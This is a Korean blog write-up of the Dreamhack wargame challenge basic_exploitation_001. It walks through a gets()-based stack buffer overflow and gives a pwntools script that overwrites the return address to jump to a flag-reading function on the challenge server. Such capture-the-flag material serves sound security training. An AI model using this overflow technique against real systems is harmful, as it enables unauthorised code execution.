Iriton's log
[Dreamhack] Lv.1 : basic_exploitation_001 본문
Description
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
여기서 취약한 함수 gets()가 사용되는 걸 볼 수 있다.
* gets()
사용자에게 문자열 입력을 받는데 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않기 때문에 버퍼오버플로우에 취약하다.
또한, read_flag 함수까지 코드에 있기 때문에 버퍼오버플로우 공격을 하여 read_flag 주소로 이동할 수 있을 것이다.
Exploit
gdb로 실행시켜서 메인 함수를 디스어셈블 한 결과를 보면 단순하다.
push ebp:
이전 베이스 포인트를 저장
lea eax, [ebp-0x80] / push eax : 현재 베이스 포인트에서 0x80(128바이트)만큼 뺀 위치에 eax를 저장한다. -> buf 크기가 128바이트라는 뜻. 다음 scanf에서 eax주소부터 담게 됨. eax는 버퍼의 시작 주소를 의미하기 때문이다.
(스택 구조는 위 문제랑 같은데 익스플로잇 코드가 조금 다를 예정.)
추가적으로 read_flag 함수의 시작 주소가 뭔지 알아야 한다.
info func 명령어를 실행하면 함수의 정보가 보여서 시작 주소를 알 수 있게 된다.
from pwn import *
# 서버와 연결
p = remote("host3.dreamhack.games", 20704)
payload = b'a'* 132 # Dummy Data 길이 132
payload += p32(0x080485b9) # read_flag 함수의 주소를 리틀 엔디안 방식으로 패킹하여 페이로드에 추가
# 페이로드를 서버에 전송
p.sendline(payload)
# 이제부터 사용자와 서버의 상호작용(쉘 코드 얻었으니 우리가 하고 싶은 동작 실행하면 됨)
p.interactive()
'Pwnable > Wargame' 카테고리의 다른 글
[Dreamhack] Beginner: blue-whale (2) | 2024.11.14 |
---|---|
[Dreamhack] Lv.2 : ssp_001 (0) | 2024.05.15 |
[Dreamhack] Lv.2 : basic_exploitation_000 (0) | 2024.04.12 |
[Dreamhack] Lv.1 : Return Address Overwrite (0) | 2024.04.10 |
[Dreamhack] Beginner: welcome (0) | 2024.04.02 |
Comments